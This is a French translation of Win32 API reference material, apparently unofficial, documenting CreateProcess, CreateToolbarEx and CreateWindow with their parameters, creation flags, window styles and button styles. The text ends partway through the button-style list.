LPVOID lpvEnvironment;			/* adresse d'un environment optionel*/
LPTSTR lpszCurDir;			/* adresse du nouveau répertoir courrant */
LPSTARTUPINFO lpsi;			/* adresse de la structure STARTUPINFO */
LPPROCESS_INFORMATION lppi;		/* adresse de la structure PROCESSINFORMATION */

La fonction CreateProcess crée un nouveau process et lien, et démarre l'application indiquée dans
ce nouveau process.

Paramètre 	 	Description

lpszImageName 	 	Pointe sur une chaîne de caractères terminée par un NULL, laquelle
            représente le nom et le chemin entier pour accéder au fichier à lancer.
            Si ce paramètre est NULL, le nom du fichier doit être le premier signe
            de l'espace vide de la ligne de commande. Si les arguments doivent être
            passés au nouveau process, ce paramètre doit être NULL et l'image - le
            nom du fichier et des arguments doivent être spécifiés sur la ligne de
            commande.

lpszCommandLine 	Pointe sur une chaîne de caractères terminée par un NULL, laquelle
            représente la ligne de commande de l'application qui doit fonctionner
            dans le nouveau process. Si lpszImageName est NULL, le premier signe
            de l'espace vide de la ligne de commande représente l'image - le nom
            du fichier. Si le nom du fichier ne contient pas d'extension, alors
            *.EXE lui est assigné. Si le nom du fichier ne contient pas de chemin
            de renseignements, les Windows cherchera le fichier exécutable dans :

            1	 Le répertoire actuelle.

            2	 Le répertoire Système de Windows.

            3	 Le répertoire Windows.

            4	 Les répertoires formants le chemin jusqu'à la cible.

lpsaProcess 	 	Pointe sur une structure de données SECURITY_ATTRIBUTES laquelle
            spécifie les attributs de sécurité pour le process créé.
            Si lpsaProcess est NULL, le process est créé sans descripteur de
            sécurité et le handle résultant n'est pas hérité.

lpsaThread 	 	Pointe sur une structure de données SECURITY_ATTRIBUTES laquelle
            spécifie les attributs de sécurité pour le lien créé.
            Si lpsaThread est NULL, le lien est créé sans descripteur de
            sécurité et le handle résultant n'est pas hérité.

fInheritHandles 	Si ce paramètre est TRUE, chaque handle dans le process d'appel ayant
            été créé avec l'option de handle hérité est hérité par le nouveau
            process. Les Handles héritées ont la même valeur et accès aux
            privilèges que les handles originaux.

            -----------------------------------------------------------------------
fdwCreate 	 	Fournit des Flags supplémentaires qui contrôlent la création du process,
            comme le montre la liste suivante :

            Valeur	 	 Signification

            IDLE_PRIORITY_CLASS
            Le process sera lancé seulement quand le système sera inoccupé. Un
            process inoccupé sera toujours mis en attente par rapport à n'importe
            quel autre process ayant une classe de priorité plus haute. Un
            économiseur d'écran est un exemple d'un process de priorité Inoccupé.

            NORMAL_PRIORITY_CLASS
            Le process sera une application normale sans besoins de planifications
            spéciales. C'est la classe de priorité par défaut. Des process normaux
            déjà en route auront toujours la propriété sur un process Inoccupé; le
            process inoccupé partira seulement quand le process normal sera bloqué
            et à l'inverse, le process normal reprendra la priorité sur le process
            inoccupé à chaque fois que ce process normal reprendra son cours.

            HIGH_PRIORITY_CLASS
            Le process possède une priorité de haut niveau. Il a besoin de
            planifications spéciales qui doivent être adressés pour cela pour
            fonctionner correctement. Un bon exemple d'un tel besoin serait une
            application de fond qui est normalement inoccupé (un Screen Saver). En
            réponse à un quelconque événement externe, il a besoin d'afficher une
            fenêtre popup en acquérant la priorité sur les autres applications qui
            sont en cours mais qui possèdent des classes de priorités normales ou
            inoccupées.
            Une attention particulière doit être prise en employant classe de haute
            priorité. Il est possible de créer une application UC-ATTACHÉE dans la
            haute classe de priorité qui peut absorber presque tous les cycles
            disponibles. (les ressources de votre ordi)

            DEBUG_PROCESS
            Si ce Flag est mis, le process d'appel est traité comme un programme
            de type DEBUGGER et le nouveau process est un DEBUGGER. Le noyau
            (Windows) notifie (informe) le programme Debugger de tous les événements
            de mise au point (les Debugging événements) qui se produisent dans le
            process cible. Si ce Flag n'est pas mis et que le process d'appel est
            debuggué, alors le nouveau process devient un autre process se faisant
            débuggué par le programme debugger du process d'appel. Si ce Flag n'est
            pas mis et que le process d'appel n'est pas un process cible, aucunes
            actions ayant une relation de type debugging ne se produit.

            DEBUG_ONLY_THIS_PROCESS
            Si ce Flag est mis, le process d'appel est traité comme un programme
            Debugger et le nouveau process est un process cible. Si le nouveau
            process (la cible) crée des process complémentaires, le noyau (windows)
            ne notifiera pas (n'informera pas) le Debugger d'aucuns Debugging
            événements qui se produissent dans les process complémentaires de la
            cible.

            CREATE_SUSPENDED
            Le lien primaire du process ne sera pas actif avant que le process
            n'est appelé la fonction ResumeThread.

            CREATE_NEW_CONSOLE
            Le process créé aura une nouvelle console, au lieu d'hériter des mêmes
            propriétés que celles de son parent.
            Ce Flag ne peut pas être employé avec le Flag DETACHED_PROCESS.

            CREATE_NO_WINDOW
            Le process créé n'aura une console, mais aucune fenêtre. Le process
            ne sera pas capable d'obtenir une fenêtre. Ce Flag doit seulement
            être employé avec les VDMs.

            DETACHED_PROCESS
            Le process créé n'aura pas de console. Le fait d'appel une console pour
            un process n'en n'ayant pas provoque une erreur. Le process peut appeler
            la fonction AllocConsole par la suite s'il veut en obtenir une.
            Ce Flag ne peut pas être employé avec le Flag CREATE_NEW_CONSOLE.
            -----------------------------------------------------------------------

lpvEnvironment 	 	Pointe sur un bloc d'environnement pour le nouveau process. Si ce
            paramètre est NULL, le nouveau process emploie l'environnement du
            process d'appel.

lpszCurDir 	 	Pointe sur une chaîne de caractères |terminée par un NULL, laquelle
            représente le lecteur et le répertoire actuels du nouveau process.
            La chaîne de caractères doit être un nom de chemin entièrement définit
            qui inclut la lettre représentant le lecteur.
            Si lpszCurDir est NULL, le nouveau process est créé dans le même
            répertoire que le process d'appel. Cette option est principalement
            utilisée pour les Shells qui veulent commencer une application et
            spécifier leur lecteur  et répertoire initiaux.

lpsi 	 		Pointe sur une structure STARTUPINFO laquelle indique comment la
            fenêtre principale du process cible doit apparaître.

lppi 	 		Pointe sur une structure PROCESS_INFORMATION laquelle reçoit les
            informations d'identification du process cible.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

La fonction CreateProcess doit être employée dans Win32 pour lancer un nouveau programme. Les
fonctions WinExec et LoadModule sont toujours disponibles, mais elles sont exécutées comme des
appels pour la fonction CreateProcess.

La fonction CreateProcess peut être employée ou bien comme fonction de caractères large (où les
arguments de texte doivent employer Unicode) ou bien comme fonction ANSI (où les arguments de
texte doivent employer le jeu de caractères de Windows 3.x).
Le process créé reste dans le système avant que tous les liens dans le process ne se soient
terminés et tous les handles du process et tous ses liens aient été fermés par des appels
CloseHandle. Les handles et le lien principal doivent être fermées par des appels CloseHandle.
Si ces handles ne sont pas nécessaires, il est préférable de les refermer immédiatement après
que le process ait été créé.
Quand le dernier lien du process se termine, tous les objets ouverts par le process sont
refermés automatiquement. Le statut de terminaison du process change de valeur laquelle était
à l'origine STATUS_PENDING et passe alors au statut de terminaison du dernier lien qui doit
être terminer.
En plus de la création d'un process, CreateProcess crée aussi un objet de lien. Le lien est
créé avec une pile initiale dont la taille est décrite dans l'entête d'image du fichier
exécutable du programme indiqué. Le lien commence l'exécution à l'entrypoint de l'image.

Un identificateur de process 32 bits est assigné au process. L'ID est valable jusqu'à ce que
le process ne se termine. Il peut être employé pour identifier le process, ou ouvrir le handle
du process pour exécuter n'importe quelle action dans le process. Un identificateur de lien
32 bits est aussi assigné au lien initial du process. L'ID est valable jusqu'à ce que le lien
ne se termine, et comme d'habitude identifie un lien unique dans le système.
La voie préférée pour refermer un process est d'employer la commande ExitProcess, parce que
cette fonction notifie (informe) toutes les DLLs attachées au process de la terminaison
prochaine. Les autres moyens de fermeture du process ci-dessous ne notifient pas les DLLs
attachées.
Dans un process qu'on lance (comme avec un appel de CreateProcess), ExitProcess, ExitThread,
CreateThread sont arrangés comme un sorte de  feuilleton les uns par rapport aux autres dans
le process. Seulement un de ces événements à la fois peut se produire dans un espace d'adresse.
Ça signifie que :

- Pendant le démarrage du process et des routines d'initialisation des DLL, de nouveaux liens
peuvent être créés, mais ils ne commenceront pas leur exécution tant que l'initialisation de
la DLL ne soient fait pour le process.
- Seulement un lien du process à la fois peut être lié à une DLL ou détaché de  la routine.

ExitProcess ne se réalise pas tant qu'il restent des liens vers une DLL ou ne se soient pas
détachés des routines.

Exemple

Cet d'exemple montre comment créer un process, attend pour en sortir, obtient son statut de
sortie et referme le lien et le handle :

fSuccess = CreateProcess(...); /* try to create a process */

if (fSuccess) {  /* if we were successful... */

    hProcess = ProcessInformation.hProcess;
    hThread = ProcessInformation.hThread;

    /* wait for the process to complete */

    dw = WaitForSingleObject(hProcess, INFINITE) ;

    if (dw != 0xFFFFFFFF) { /* if we saw success ... */

        /* pick up an exit code for the process */

        fExit = GetExitCodeProcess(hProcess, &dwExitCode) ;
    }

    /* close the process and thread object handles */

    CloseHandle(hThread) ;
    CloseHandle(hProcess) ;

}

Cet exemple montre comment créer un process isolé. Le lien et des handles du process peuvent
être fermés immédiatement après que le nouveau process (de la cible) soit créé.

fSuccess = CreateProcess(...); /* try to create a process */

if (fSuccess) {  /* if we were successful... */

    /* close the thread and process object handles */

    CloseHandle(ProcessInformation.hThread) ;
    CloseHandle(ProcessInformation.hProcess) ;
}

Voir Aussi

CloseHandle, ExitProcess, OpenProcess, TerminateProcess


CreateToolbarEx

La fonction CreateToolbarEx crée une barre d'outils et ajoute les boutons indiqués sur cette barre.

HWND CreateToolbarEx(

    HWND hwnd,
    DWORD ws,
    UINT wID,
    int nBitmaps,
    HINSTANCE hBMInst,
    UINT wBMID,
    LPCTBBUTTON lpButtons,
    int iNumButtons,
    int dxButton,
    int dyButton,
    int dxBitmap,
    int dyBitmap,
    UINT uStructSize
   );
Paramètres

hwnd
handle de la fenêtre parente de la barre d'outils.

ws
Styles de la barre d'outils. Ce paramètre doit spécifier au moins le style WS_CHILD.

wID
n° d'identité du control 'barre d'outils'.

nBitmaps
Nombre de boutons-images contenus dans le bitmap indiqué par hBMInst et wBMID.

hBMInst
Instance du module du fichier exécutable qui contient la ressource bitmap. (Instance du programme ou bien de la dll).

wBMID
n° ID du bitmap(image) ressource. Si hBMInst est NULL, ce paramètre doit être le handle valide du bitmap.

lpButtons
Pointer sur un tableau de structures TBBUTTON lequel contiennent les informations à propos des boutons à ajouter à la barre d'outils.

iNumButtons
Nombre de boutons à ajouter à la barre d'outils.

dxButton
Largeur, en pixels, des boutons à ajouter à la barre d'outils.

dyButton
Hauteur, en pixels, des boutons à ajouter à la barre d'outils.

dxBitmap
Largeur, en pixels, des images à coller sur les boutons de la barre d'outils.

dyBitmap
Hauteur, en pixels, des images à coller sur les boutons de la barre d'outils.

uStructSize
Taille de la structure TBBUTTON.

Valeurs en Retour :

Si la fonction réussit, la valeur en retour est le handle de la fenêtre 'Barre d'outil'.
Si la fonction échoue, la valeur de retour est NULL.

Remarques

Le système Windows 95 peut soutenir un maximum de 16,364 handles.

Voir aussi:

TBBUTTON


createwindow

CreateWindow (Win32)

La fonction CreateWindow crée une succession d'objets enfants qui surgissent pour former à eux tous la fenêtre en elle-même. Elle spécifie la window class, le titre de cette fenêtre, le style de fenêtre et (facultativement) sa position initiale ainsi que ses dimensions. Cette fonction spécifie aussi si notre fenêtre possède déjà une fenêtre parente ou propriétaire, et le menu de la fenêtre.

HWND CreateWindow (

LPCTSTR lpClassName, 	// pointer sur la class name (enregistrée=définie auparavant)
LPCTSTR lpWindowName,	// pointer sur le nom de la fenêtre
DWORD dwStyle,		// style de fenêtre
int x, // position de la fenêtre par rapport à l'horizontale (référence=côté gauche de l'écran)
int y, // position de la fenêtre par rapport à la verticale (référence=haut de l'écran)
int nWidth,		// largeur de la fenêtre
int nHeight, 	   	// hauteur de la fenêtre
HWND hWndParent,   	// handle de la fenêtre parente ou propriétaire
hMenu hMenu,		// handle du menu ou identificateur d'un Child-Window (objet enfant)
HANDLE hInstance,	// handle de l'application instance
LPVOID lpParam		// pointer sur les données de création de la fenêtre
);

Paramètres :

lpClassName

Représente une chaîne de caractères terminée par un NULL ou bien c'est une 'variable de type nombre entier' (=atom). Si ce paramètre est un atom, ça doit être un atom global créé par un appel précédent avec la fonction GlobalAddAtom. L'atom, est une valeur 16 bits inférieure à 0xC000, il doit être placé dans le mot de poids faible de lpClassName; et le mot de poids fort doit être mis à zéro.

Si lpClassName est une chaîne de caractères, il indique le nom de la window class. La class name peut être n'importe quel nom enregistré avec la fonction RegisterClass ou chacun des noms de classe des controls prédéterminés. Pour une liste complète, voir la section de Remarques suivante.

lpWindowName

Représente une chaîne de caractères terminée par un NULL, c'est le nom de la fenêtre.

dwStyle

Spécifie le style de la fenêtre ainsi créée. Ce paramètre peut être une combinaison des styles de fenêtre et des styles de control inscrits dans la section des Remarques (voir plus bas).

X

Indique la position horizontale initiale de la fenêtre. Le paramètre x est l'abscisse initiale du coin supérieur-gauche de la fenêtre, pour des coordonnées d'écran. Pour une fenêtre enfant (un bojet, ex une boîte de saisi=boîte d'édition), x est l'abscisse du coin supérieur-gauche de votre fenêtre par rapport au coin supérieur-gauche du secteur client de la fenêtre parente (votre fenêtre).

Si ce paramètre est mis à CW_USEDEFAULT, Windows choisit la position par défaut qui est le coin supérieur-gauche de la fenêtre et ignore alors le paramètre y. CW_USEDEFAULT est valable seulement pour des fenêtres enchevauchées; s'il est utilisé pour un popup ou un Child Window (une fenêtre ou objet enfant), les paramètres x et y sont mis à zéro.

Y

Indique la position verticale initiale de la fenêtre. Le paramètre y est l'ordonnée initiale du coin supérieur-gauche de la fenêtre, pour des coordonnées d'écran. Pour une fenêtre enfant, y est l'ordonnée initiale du coin supérieur-gauche par rapport au coin supérieur-gauche du secteur client de la fenêtre parente. Pour une 'list box', y est l'ordonnée initiale du coin supérieur-gauche du secteur client de cette 'list box' par rapport au coin supérieur-gauche du secteur client de la fenêtre parente (de votre fenêtre).

Si une fenêtre est créée avec le flag de style WS_VISIBLE et qu'en plus le paramètre x est mis à CW_USEDEFAULT, Windows ignore le paramètre y.

nWidth

Spécifie la largeur de la fenêtre, en unités d'écran (dépend de votre affichage). Pour des fenêtres qui ne sont pas en plein écran, nWidth est soit la largeur de la fenêtre, en unitées d'écran, soit elle vaut CW_USEDEFAULT. Si nWidth est mis à CW_USEDEFAULT, Windows choisit une largeur et une hauteur par défaut pour cette fenêtre; la largeur par défaut s'étend de la coordonnée initiale x jusqu'au bord de l'écran et la hauteur par défaut s'étend de la coordonnée initiale y jusqu'au sommet du secteur d'icône. CW_USEDEFAULT est valable uniquement pour des fenêtres qui ne sont pas en plein écran; si CW_USEDEFAULT est spécifié pour un popup ou un Child Window, nWidth et nHeight sont mis au zéro.

nHeight

Spécifie la hauteur de la fenêtre en unités décran,. Pour des fenêtres non_plein_écran, nHeight est la hauteur de la fenêtre en unités d'écran. Si nWidth est mis à CW_USEDEFAULT, Windows ignore nHeight.

hWndParent

Identifie le parent ou la fenêtre propriétaire de votre fenêtre ainsi créée. Un handle de fenêtre valable doit être fourni lorsqu'un Child Window ou au contraire une fenêtre parente(un objet parent) est créée. Un Child Window se limite au secteur client de sa fenêtre parente. Une fenêtre propriétaire est une fenêtre non_plein_écran qui est détruite quand sa fenêtre propriétaire est détruite ou cachée ou quand son propriétaire est réduit au minimum; elle est toujours affichée au sommet de sa fenêtre propriétaire. Bien que ce paramètre doive spécifier un handle valable, si le paramètre dwStyle inclut le style WS_CHILD, il reste facultatif si dwStyle inclue le style WS_POPUP.

hMenu

Identifie un menu, ou indique un identificateur de Child Window selon le style de la fenêtre. Pour une fenêtre non_plein_écran, hMenu identifie le menu pour qu'il puisse être employé avec cette fenêtre; il peut être NULL si la Class du menu doit être employé. Pour un Child Window, hMenu représente l'identificateur de ce Child Window, c'est une valeur de type nombre entier employée par un 'dialog box control' pour notifier son parent des événements. Il doit être unique pour chaque Child Window d'une même fenêtre parente.

hInstance

Identifie l'instance handle qui doit être associé à cette fenêtre.

lpParam

Pointe sur une valeur qui doit être passée à votre fenêtre grâce à la structure CREATESTRUCT. Ce paramètre lParam provient du message WM_CREATE. Si une application appelle CreateWindow pour créer un secteur client de fenêtre de type interface de document multiple (MDI), lpParam doit pointer sur la structure CLIENTCREATESTRUCT.

Valeurs de Retour :

Si la fonction réussit, la valeur de retour est l'handle de votre nouvelle fenêtre.

Si la fonction échoue, la valeur de retour est un NULL. Pour obtenir l'information à propos de l'erreur étendue, appelez GetLastError.

Remarques :

Avant le retour, CreateWindow envoie un message WM_CREATE à votre procédure de fenêtre. (la procédure de votre programme qui défini les caractéristiques de votre fenêtre ainsi que son comportement; ex: détection de la souris….)

Pour placer de Child Window dans votre fenêtre, CreateWindow envoie plusieurs messages WM_CREATE, WM_GETMINMAXINFO et WM_NCCREATE à la fenêtre. Le paramètre lParam du message WM_CREATE contient le pointer qui est sur la structure CREATESTRUCT. Si le style WS_VISIBLE est spécifié, CreateWindow envoie à la fenêtre tous les messages exigés pour activer et afficher votre fenêtre à l'écran.

Si le style de fenêtre indique une barre de titre, alors le titre de la fenêtre indiqué par lpWindowName est affiché dans la barre de titre. Lors de l'utilisation de CreateWindow pour créer des 'Controls', comme les boutons par exemple, ou bien les zone d'éditions ou les Static Controls, on emploie lpWindowName pour spécifier le texte de ces controls.

Lorsque vous Linkez votre application et que vous spécifiez la version 4.x de Windows, ses fenêtres ne peuvent pas avoir de boutons avec un texte dessus à moins qu'ils n'aient aussi des menus de fenêtre. Ce n'est pas le cas pour des applications que vous avez lié en spécifiant la version 3.x de Windows.

Les 'Class de Control' prédéterminées suivantes peuvent être spécifiées dans le paramètre lpClassName :

BUTTON

Désigne un petit Child Window rectangulaire qui représente un bouton sur lequel l'utilisateur peut cliquer pour le mettre en état 'on' / 'off'. Les Controls de type bouton peuvent être employés seuls ou en groupes et ils peuvent ou bien avoir une inscription ou apparaître sans texte. Les Controls de type bouton changent typiquement d'apparence lorsque l'utilisateur clique sur eux.

COMBOBOX

Désigne un Control qui est en fait 'liste avec d'un champ de choix' semblable au control d'édition. En employant ce style, une application doit soit constamment afficher la liste ou bien permettre une liste déroulante.

Selon le style de la boîte combo, l'utilisateur peut ou non éditer le contenu du champ de choix. Si la boîte de liste est visible, en tapant des caractères dans ce champ de choix on accentue la première entrée de boîte de liste qui correspond aux caractères tapés (exemple: si il y a les mots 'crack, international, internet, jeux, play…et que j'entre le caractère 'i', je me retrouve sur 'international') . Au contraire, en choisissant un item (un des mots) dans la boîte de liste alors il est affiché dans le champ de choix.

EDIT

Désigne un Child Window rectangulaire dans lequel l'utilisateur peut taper du texte du clavier. L'utilisateur choisit ce control et (lui donne le centre de clavier) l'active en en cliquant dessus ou en s'y déplaçant en appuyant la touche TAB. L'utilisateur peut taper le texte dès que ce control d'édition montre le fameux trait vertical clignotant; employez la souris pour déplacer le curseur, ou pour sélectionner des caractères pour les remplacer, ou placer le curseur entre des caractères; ou utilisez la touche BACK-SPACE pour supprimer des caractères.

Les Controls d'édition emploient la fonte du système de départ et affichent les caractères du jeu de caractères ANSI. Le message WM_SETFONT peut aussi être envoyé à un control d'édition pour changer sa fonte de défaut.

Certains Controls d'édition ont étendu leurs jeux de caractères avec des caractères spéciaux. Les caractères spéciaux sont définis pour être placés à chaque huitième position de caractères.

LISTBOX

Désigne une liste de chaîne de caractères (de mots). Mettez ce control chaque fois qu'une application doit présenter une liste de noms, comme des noms de fichier, qui pourront être sélectionnés par l'utilisateur. Celui-ci peut choisir une chaîne de caractères en en cliquant dessus. Une chaîne ainsi choisie est accentuée (surlignée) et on passe un message d'avis à la fenêtre parente. Employez une barre de rouleau verticale ou horizontale (les petites flèches) avec une boîte de liste pour faire défiler les listes qui sont trop longs pour la fenêtre de control. La boîte de liste cache automatiquement ou montre la barre de rouleau, si nécessaire, elle gère elle-même ceci.

MDICLIENT

Désigne une fenêtre de client MDI. Cette fenêtre reçoit des messages dela part du Child Window control de l'application MDI. Les particules de style recommandées sont WS_CLIPCHILDREN et WS_CHILD. Spécifiez les styles WS_HSCROLL et WS_VSCROLL pour créer une fenêtre de client MDI qui permette à l'utilisateur de faire défiler des Child Window MDI dans cette vue.

SCROLLBAR

Désigne un rectangle qui contient une boîte de rouleau (Barre de Scrolling) et des flèches de direction aux deux bouts. La barre de rouleau envoie un message d'avis à sa fenêtre parente chaque fois que l'utilisateur clique sur ce control (le rouleau ou les flèches). La fenêtre parente est responsable de la mise à jour de la position de la boîte de rouleau. Les Controls de type barre de rouleau ont toutes la même apparence et la fonction barres de rouleau est couramment employées dans les fenêtres ordinaires. À la différence des barres de rouleau, cependant, les Controls de type de barre de rouleau peuvent être placées n'importe où dans une fenêtre pour pouvoir l'utiliser à chaque fois que l'entrée scrolling est nécessaire pour une fenêtre.

La 'Class' d'une barre de rouleau inclut aussi des Controls de type Size Box. Une Size Box est un petit rectangle que l'utilisateur peut étirer pour changer la taille de la fenêtre.

STATIC

Désigne un simple champ de texte (un texte qu'on ne peut pas retoucher), la boîte, ou le rectangle porte en général une inscription. Les Controls Static ne prennent aucune entrée et ne revoient aucune production, ils sont tout à fait inhertes.

Les styles de fenêtre suivants peuvent être spécifiés dans le paramètre dwStyle :

WS_BORDER

Crée une fenêtre qui a une bords de type: ligne mince.

WS_CAPTION

Crée une fenêtre qui a une barre de titre (inclut le style WS_BORDER).

WS_CHILD

Crée un Child Window. Ce style ne peut pas être employé avec le style WS_POPUP.

WS_CHILDWINDOW

Idem que le style WS_CHILD.

WS_CLIPCHILDREN

Exclut le secteur occupé par des Child Window quand le dessin arrive dans la fenêtre parente. Ce style est employé en créant la fenêtre parente.

WS_CLIPSIBLINGS

C'est une agrafe entre plusieurs 'Child Window s'; c'est-à-dire que lorsqu'un Child Window particulier reçoit un message WM_PAINT, les agrafes de style WS_CLIPSIBLINGS s'appliquent à tous les autres Child Window de chevauchement dans la région où le Child Window doit être mis à jour. Si WS_CLIPSIBLINGS n'est pas spécifié et qu'un autre Child chevauche notre Child Window, on le réactualise, en redessinant le secteur client du Child Window.

WS_DISABLED

Crée une fenêtre qui au commencement est mise hors service. Une fenêtre mise hors service ne peut pas recevoir d'entrées de la part de l'utilisateur.

WS_DLGFRAME

Crée une fenêtre qui a des bords d'un style typiquement utilisés pour les boîtes de dialogue. Une fenêtre avec ce style ne peut pas avoir de barre de titre.

WS_GROUP

Indique le premier control d'un groupe de Controls. Le groupe est constitué de ce premier control et tous les Controls définis après lui, possèdent ses propriétés. Le premier control de chaque groupe a d'habitude le style WS_TABSTOP pour que l'utilisateur puisse se déplacer du groupe pour grouper. L'utilisateur peut par la suite changer le centre clavier d'un control dans un groupe, au control d'un groupe suivant (on désactive un Control en passant à un autre Control qu'on active à sa place) en employant les touches de direction.

WS_HSCROLL

Crée une fenêtre qui a une barre de rouleau horizontale.

WS_ICONIC

Crée une fenêtre qui est initialement réduite au minimum. Idem pour le style WS_MINIMIZE.

WS_MAXIMIZE

Crée une fenêtre qui est initialement maximisée.

WS_MAXIMIZEBOX

Crée une fenêtre qui a un bouton servant à la Maximiser. Ne peut pas être Combiné avec le style WS_EX_CONTEXTHELP. Le style WS_SYSMENU doit aussi être spécifié.

WS_MINIMIZE

Crée une fenêtre qui est initialement réduite au minimum. Idem pour le style WS_ICONIC.

WS_MINIMIZEBOX

Crée une fenêtre qui a un bouton servant à la Réduire au minimum. Ne peut pas être Combiné avec le style WS_EX_CONTEXTHELP. Le style WS_SYSMENU doit aussi être spécifié.

WS_OVERLAPPED

Crée une fenêtre Non_plein_écran. Cette fenêtre possède une barre de titre et une bordure. Idem pour le style WS_TILED.

WS_OVERLAPPEDWINDOW

Crée une fenêtre Non_plein_écran avec les styles WS_OVERLAPPED, WS_CAPTION, WS_SYSMENU, WS_THICKFRAME, WS_MINIMIZEBOX et WS_MAXIMIZEBOX. Idem pour le style WS_TILEDWINDOW.

WS_POPUP

Crée une fenêtre popup. Ce style ne peut pas être employé avec le style WS_CHILD.

WS_POPUPWINDOW

Crée une fenêtre de popup avec les styles WS_BORDER, WS_POPUP et WS_SYSMENU. Les styles WS_CAPTION et WS_POPUPWINDOW doivent être combinés pour faire en sorte que le menu de la fenêtre soit visible.

WS_SIZEBOX

Crée une fenêtre qui a une bordure. Idem pour le style WS_THICKFRAME.

WS_SYSMENU

Crée une fenêtre qui a un menu sur sa barre de titre. Le style WS_CAPTION doit aussi être spécifié.

WS_TABSTOP

Indique un control qui peut recevoir le centre de clavier quand l'utilisateur appuie sur la touche TAB. (recevoir le centre de clavier, c'est avoir la possibilité de pouvoir taper du texte au clavier. Si vous avez un control d'édition pour y inscrire du texte et qu'il n'est pas actif, alors rien de ce que vous tapez au clavier ne s'y inscrit. En fait, c'est parce qu'il n'a pas le centre de clavier. Vous pouvez lui passer soit en cliquant dessus avec la souris, soit avec la touche TAB) La pression de la touche TAB passe le centre de clavier au control suivant justement grâce à ce style WS_TABSTOP.

WS_THICKFRAME

Crée une fenêtre qui a une bordure. Idem pour le style WS_SIZEBOX.

WS_TILED

Crée une fenêtre Non_plein_écran. Cette fenêtre possède une barre de titre et une bordure. Idem pour le style WS_OVERLAPPED.

WS_TILEDWINDOW

Crée une fenêtre Non_plein_écran avec les styles WS_OVERLAPPED, WS_CAPTION, WS_SYSMENU, WS_THICKFRAME, WS_MINIMIZEBOX et WS_MAXIMIZEBOX. Idem pour le style WS_OVERLAPPEDWINDOW.

WS_VISIBLE

Crée une fenêtre qui est initialement visible.

WS_VSCROLL

Crée une fenêtre qui a une barre de rouleau verticale.

Les styles de bouton suivants (dans la classe de BUTTON) peuvent être spécifiés dans le paramètre dwStyle :

BS_3STATE

Crée un bouton un peu comme un bouton de contrôle, sauf que celui-ci peut être soit grisé soit Noirci (vérifié) soit Blanc (incontrôlé). Employez l'état grisé pour montrer que l'état de ce bouton de contrôle est indéterminé.

BS_AUTO3STATE

Crée un bouton comme le bouton de contrôle à trois états vu au-dessus, sauf que le bouton change d'état lorsque l'utilisateur le sélectionne. Les cycles d'état sont par vérifié, indéterminé et incontrôlé.

BS_AUTOCHECKBOX

Crée un bouton comme le bouton de contrôle à trois états vu au-dessus, sauf que l'état du bouton de contrôle est automatiquement soit 'vérifié' (noirci) soit 'incontrôlé' (blanc) à chaque fois que l'utilisateur clique dessus.

BS_AUTORADIOBUTTON

Crée un bouton radio (un bouton rond), sauf que lorsque l'utilisateur le choisit, Windows met automatiquement l'état de contrôle de ce bouton à vérifié et en même temps il met automatiquement l'état des contrôles des autres boutons qui se trouvent dans le même groupe que lui à l'état incontrôlé.

BS_CHECKBOX

Crée une petite boîte de contrôle vide, avec du texte à sa suite. Par défaut, le texte est affiché à droite de la boîte de contrôle. Pour afficher le texte à gauche de la boîte de contrôle, combinez ce flag avec le style BS_LEFTTEXT (ou avec son équivalent, le style BS_RIGHTBUTTON).

BS_DEFPUSHBUTTON

Crée un bouton qui se comporte comme le bouton de style BS_PUSHBUTTON, mais a aussi une frontière épaisse et noire. Si le bouton est dans une boîte de dialogue, l'utilisateur peut sélectionner ce bouton en appuyant la touche TAB, même quand le bouton n'a pas le centre d'entrée. Ce style est utile pour permettre à l'utilisateur de rapidement choisir l'option la plus probable.

BS_GROUPBOX <------------------------- Intéressant

Crée un rectangle dans lequel d'autres Controls peuvent être regroupées. N'importe quel texte associé à ce style est affiché dans le coin supérieur gauche du rectangle.

BS_LEFTTEXT

Le texte est placé dans le côté gauche du bouton radio ou de la boîte de contrôle quand il combiné avec un bouton radio ou un style de boîte de contrôle. Idem pour le style BS_RIGHTBUTTON.

BS_OWNERDRAW

Crée un bouton du genre dessin. La fenêtre propriétaire reçoit un message WM_MEASUREITEM quand le bouton est créé et un message WM_DRAWITEM quand un aspect visuel du bouton a changé. Ne combinez pas le style BS_OWNERDRAW avec d'autres styles de bouton.

BS_PUSHBUTTON

Crée un bouton qui poste un message WM_COMMAND à la fenêtre propriétaire quand l'utilisateur choisit le bouton.

BS_RADIOBUTTON

Crée un petit cercle avec du texte devant lui. Par défaut, le texte est affiché à gauche du cercle. Pour afficher le texte à gauche du cercle, combinez ce flag avec le style BS_LEFTTEXT (ou avec son équivalent, le style BS_RIGHTBUTTON). Les boutons radio sont utilisés pour des groupes liés entre eux, mais à choix mutuellement exclusifs.

BS_USERBUTTON

Compatibilité désuète, car prévue pour les versions 16 bits de Windows. A la base les applications Win32 devaient employer BS_OWNERDRAW à sa place.

BS_BITMAP

Indique qu'on affiche un bouton de type bitmap.

BS_BOTTOM

Place le texte de vers le bas rectangle constituant le bouton.

BS_CENTER

Place le texte au milieu (par rapport à l'horizontal) du rectangle constituant le bouton.

BS_ICON

Indique qu'on affiche un bouton de type icône.

BS_LEFT

Le texte est aligné à gauche dans le rectangle du bouton. Cependant, si ce bouton est une boîte de contrôle ou un bouton radio qui ne possède pas le style BS_RIGHTBUTTON, le texte est restera aligné à droite de la boîte de contrôle ou du bouton radio.

BS_MULTILINE

Entoure le texte du bouton de plusieurs lignes si la chaîne de caractères (de texte) est trop longue pour être placée sur une unique ligne (retour à la ligne) dans le rectangle du bouton.

BS_NOTIFY

Permet à un bouton d'envoyer les messages d'avis BN_DBLCLK, BN_KILLFOCUS et BN_SETFOCUS à sa fenêtre parente. Notez que les boutons envoient le message d'avis BN_CLICKED indépendamment s'il possède ce style.

BS_PUSHLIKE

Définit un bouton (comme celui de la boîte de contrôle, la boîte de contrôle à trois états, ou le bouton radio) 'Look and Act' comme le BS_PUSHBUTTON. Le look_bouton est relevé quand il n'est pas poussé ou bien vérifié alors qu'il est et reste enfoncé quand il est poussé ou aussi vérifié.

BS_RIGHT

Le texte est aligné à droite dans le rectangle du bouton. Cependant, si le bouton est une boîte de contrôle ou un bouton radio qui n'a pas le style BS_RIGHTBUTTON, le texte a aligné à droite de la boîte de contrôle ou du bouton radio.

BS_RIGHTBUTTON

Place le cercle d'un bouton radio ou bien place une boîte de contrôle sur le côté droit du rectangle du bouton. Idem pour le style BS_LEFTTEXT.

BS_TEXT

Indique qu'on affiche un bouton de type texte.

BS_TOP

